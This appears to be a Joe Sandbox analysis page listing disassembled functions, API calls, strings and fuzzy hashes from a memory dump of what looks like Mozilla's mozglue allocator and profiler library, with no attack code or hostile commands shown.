Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: d0bdbe87267881a92cab351a983f55a5acfb63b12029c9f206d6afe93879be51
Instruction ID: b0ed0e24a88459511f54361f70ff1b20d27e35f533510d4b2788f68d65f085b1
Opcode Fuzzy Hash: d0bdbe87267881a92cab351a983f55a5acfb63b12029c9f206d6afe93879be51
Instruction Fuzzy Hash: A0C2E071A057418FD714CF28C48071ABBE5BF86328F68C66DE8AA8B7D5D771E811CB81

Function 6C99E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C99E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C99EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C99F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C99F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9A0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9A0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0ED4

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 8d5d20f1bb7e371c0e2e21ad0959aab8cc2fc0c32024d188f8378b96f678839e
Instruction ID: 83f33cdf636b9c575333a58d453c8553eb7c69c79382281d3ad1e6d51ed41d30
Opcode Fuzzy Hash: 8d5d20f1bb7e371c0e2e21ad0959aab8cc2fc0c32024d188f8378b96f678839e
Instruction Fuzzy Hash: 93636F71E0025ACFCB14CFA8C8905EDFBB2FF89314F298269D855AB755D730A946CB90

Function 6C973E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C997770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C973E7D,?,?,?,6C973E7D,?,?), ref: 6C99777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C973F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C973F5C
VerSetConditionMask.NTDLL ref: 6C973F8D
VerSetConditionMask.NTDLL ref: 6C973F99
VerSetConditionMask.NTDLL ref: 6C973FA0
VerSetConditionMask.NTDLL ref: 6C973FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C973FB4

Strings

nvinit.dll, xrefs: 6C974479
nvd3d9wrap.dll, xrefs: 6C974466

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 5af1803af1d37fa9dcf96445771311a843a74bb046c5cde0e99ffc8ab6ebeee6
Instruction ID: 89ccc75f41543da3e5db6ac3e4795555496859cd805f45b06b913819db2b9e2f
Opcode Fuzzy Hash: 5af1803af1d37fa9dcf96445771311a843a74bb046c5cde0e99ffc8ab6ebeee6
Instruction Fuzzy Hash: B0520472610B889FD715DF74C880AAB77FAAF65304F54492DD8968BB42CB34F909CB60

Function 6C95ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C95EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C95EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C961695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9616B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C961770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C961A3E

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 032fb0b5aa4cc09a68e97393086db8770360cbd5bda3530c33926a6ac801bbea
Instruction ID: 7811663365535f96157f7ffc8ff0bc0eece8c14008e0c976d58da83abebd8693
Opcode Fuzzy Hash: 032fb0b5aa4cc09a68e97393086db8770360cbd5bda3530c33926a6ac801bbea
Instruction Fuzzy Hash: 59B32B71E0021ACFDB14CFA9C890AADB7B2FF49314F5581A9D449ABB85D730AD85CF90

Function 6C94FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7B8), ref: 6C94FF81
LeaveCriticalSection.KERNEL32(6C9BE7B8), ref: 6C95022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C950240
EnterCriticalSection.KERNEL32(6C9BE768), ref: 6C95025B
LeaveCriticalSection.KERNEL32(6C9BE768), ref: 6C95027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C94FE99, 6C94FEB7, 6C94FED3, 6C950DB8, 6C950DD3, 6C9519B4, 6C951A10
MOZ_CRASH(), xrefs: 6C950CA7

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: f1ee6a297e74f28884096e6924e565ecf8766f1d6615c7016762261d3627b279
Instruction ID: b209604a58f3d67b801b332873f33ee7a692ba75c099e375348f5db645ac9573
Opcode Fuzzy Hash: f1ee6a297e74f28884096e6924e565ecf8766f1d6615c7016762261d3627b279
Instruction Fuzzy Hash: 38B2BE716097418FD718CF29C5D0716BBE5BF86328F68C6ACE86A8BB95D770E850CB40

Function 6C985600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C986131
name, xrefs: 6C985E79, 6C985E8F
ProfileBuffer parse error: %s, xrefs: 6C985AC8, 6C985CBB
expected a Count entry, xrefs: 6C985AC3
expected a Time entry, xrefs: 6C985CB6
schema, xrefs: 6C98606D

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: febfbdb69d7bd901c7c5e9eb64aed122860625c3ae6db7878264effe1cb84e65
Instruction ID: 73cc973e9964e6f9b13aaefb69cc7dc6500c641355d7f6107e76976f65eefd08
Opcode Fuzzy Hash: febfbdb69d7bd901c7c5e9eb64aed122860625c3ae6db7878264effe1cb84e65
Instruction Fuzzy Hash: D7925BB16093418FD724CF28C490B9AB7E1BFD9308F548D1DE99A9B751DB30E909CB92

Function 6C982E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C982ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C982EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C982F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C983214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C983242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9836BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C98378D
get , xrefs: 6C983205
set , xrefs: 6C9836EC

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 3c067448cb84b20de973b4c7d3e89f4879e36d704e29bd7687853d7b9fa6fc4b
Instruction ID: 4d23939bb30cb0787be0eb77c2d2e78d26c78b55d40c1d9c01c740e7fcbf3f68
Opcode Fuzzy Hash: 3c067448cb84b20de973b4c7d3e89f4879e36d704e29bd7687853d7b9fa6fc4b
Instruction Fuzzy Hash: 4E325BB42093819FD724CF24C0906AEBBE6BFD9318F548C1DE99987751DB30E94ACB52

Function 6C977E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C978280, 6C9783E1
name, xrefs: 6C977ECF, 6C978335
(pre-xul), xrefs: 6C977E88
schema, xrefs: 6C9781E3, 6C978311

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 06f0667d0ce5ff655b4faed9bfb87c2ffbabd429355ac45e14e896750d9472b2
Instruction ID: ba1de9795a454a5cd90d0fc0205346c78ec0c3eaf6fa11316a77cb28174bcb05
Opcode Fuzzy Hash: 06f0667d0ce5ff655b4faed9bfb87c2ffbabd429355ac45e14e896750d9472b2
Instruction Fuzzy Hash: EDE16EB1A043509BC714CF68C84065BFBEAFFA5714F148A2DE899E7790DB70DD098B91

Function 6C95D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D4F2
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D50B

Part of subcall function 6C93CFE0: EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C93CFF6
Part of subcall function 6C93CFE0: LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C93D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D52E
EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95D6A6
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C95D712
LeaveCriticalSection.KERNEL32(6C9BE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C96D1C5), ref: 6C95D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C95D82C
<jemalloc>, xrefs: 6C95D827

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d6898e729062855e19a0464d04a871914a67854bf5951df19209c138d6f77dbe
Instruction ID: b174cc78249b7d12da0aa086f5dc3b84be5d3d232be5d6c441ff5284771a56bc
Opcode Fuzzy Hash: d6898e729062855e19a0464d04a871914a67854bf5951df19209c138d6f77dbe
Instruction Fuzzy Hash: 2191F3B2A097019FD714CF28C29032BB7E5FB89714F64892EE55AC7B85D730E851CB82

Function 6C955E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2
memset.VCRUNTIME140(6C997765,000000E5,9BC09015), ref: 6C9561F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C957652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9572F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9572E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C957BCD, 6C957C1F, 6C957C34, 6C9580FD
MOZ_CRASH(), xrefs: 6C957BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C95730D

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 388a796524204ef0dbd0b4f22aa809632cb9af155df942d53414eba453fc6b1a
Instruction ID: e2e2577c7ce42b95c444cfd34671bd7b36988074fb96c186f37822b9fbd29dc1
Opcode Fuzzy Hash: 388a796524204ef0dbd0b4f22aa809632cb9af155df942d53414eba453fc6b1a
Instruction Fuzzy Hash: 2A339B7161A7018FC308CF28C590615BBE2BF85328F69C7ADE9698F7A5D731E861CB41

Function 6C933480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C933492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C9334A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C9334EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C93350E
__Init_thread_footer.LIBCMT ref: 6C933522
__aulldiv.LIBCMT ref: 6C933552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C93357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C933592

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C933508
kernel32.dll, xrefs: 6C9334EA

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 6f5dced0194ddd5cc98b7d78d7ef0bf3983d965f8aca90ea1e808e40ba63b035
Instruction ID: 9e8dcabbccdf3baa936925697b69052faf1ce96afdcf033328a6e1e7a45f6444
Opcode Fuzzy Hash: 6f5dced0194ddd5cc98b7d78d7ef0bf3983d965f8aca90ea1e808e40ba63b035
Instruction Fuzzy Hash: 47318479B0411AFBDF04DFB5C848AAB7779FB45308F200019E909E36A0EB75D905CB65

Function 6C994EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C994EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C994F2E
moz_xmalloc.MOZGLUE ref: 6C994F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C994F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9952B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9952E6
Sleep.KERNEL32(00000010), ref: 6C995481
free.MOZGLUE(?), ref: 6C995498

Strings

(, xrefs: 6C995250

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 8b9c05c36a7ae5c44ac77f0b71d454f7294859140de57cca274873cda3fe3aa8
Instruction ID: 7d6b72f5883ed4095d8653ad4b54149af91ce81f0c260dbacfb4bc0d9be653a1
Opcode Fuzzy Hash: 8b9c05c36a7ae5c44ac77f0b71d454f7294859140de57cca274873cda3fe3aa8
Instruction Fuzzy Hash: ACF1E275A18B008FC716CF39C85062BB7F9AFD6388F15872EF846A7651DB71D8428B81

Function 6C947810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C947885
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C9478A5
EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C9478AD
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C9478CD
EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9478D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9478E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C94795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9479BB
LeaveCriticalSection.KERNEL32(?), ref: 6C947BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C947C82
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C947CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C947DAF

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 9fa7e61b906c4f02058f782901c20c90835b6fccd9714b1fb0a6d5a1d7072a93
Instruction ID: ac1ab2a3932436dd928196dd4f376fa776d8314152fa794288ce82cfa27558c6
Opcode Fuzzy Hash: 9fa7e61b906c4f02058f782901c20c90835b6fccd9714b1fb0a6d5a1d7072a93
Instruction Fuzzy Hash: 3A023071A0521A8FDB54CF19C984799B7B9FF88318F2582AAD809A7751D730FE91CF80

Function 6C995FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C996009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C996024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C93EE51,?), ref: 6C996046
OutputDebugStringA.KERNEL32(?,6C93EE51,?), ref: 6C996061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C996069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C996073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C996082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9B148E), ref: 6C996091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C93EE51,00000000,?), ref: 6C9960BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9960C4

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 68939ed331f78aac2764246bafba651c88a47e7ed3468371cf7c38fc296e4ade
Instruction ID: 0d4ac436ee05b2c65f06d9b19b5d80e492d386fccf1b1fd65610dabf41b3eeea
Opcode Fuzzy Hash: 68939ed331f78aac2764246bafba651c88a47e7ed3468371cf7c38fc296e4ade
Instruction Fuzzy Hash: 8621D371A00208AFDF106F25DC48A9B7BB8FF45218F108428E81A97280CB75E558CFE5

Function 6C997030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C997046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C997060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C99707E

Part of subcall function 6C9481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9481DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C997096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C99709C
LocalFree.KERNEL32(?), ref: 6C9970AA

Strings

### ERROR: %s: %s, xrefs: 6C997087
(null), xrefs: 6C99706A, 6C997083

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: a60dde505f64b2ed3569a86ee0e517503308c3d837cc7b2d4ca06120b8593afd
Instruction ID: d94e9f8ae4f35c359df1223a14c9ef971b37f2c3c37e22cc1b1b17ae8de15837
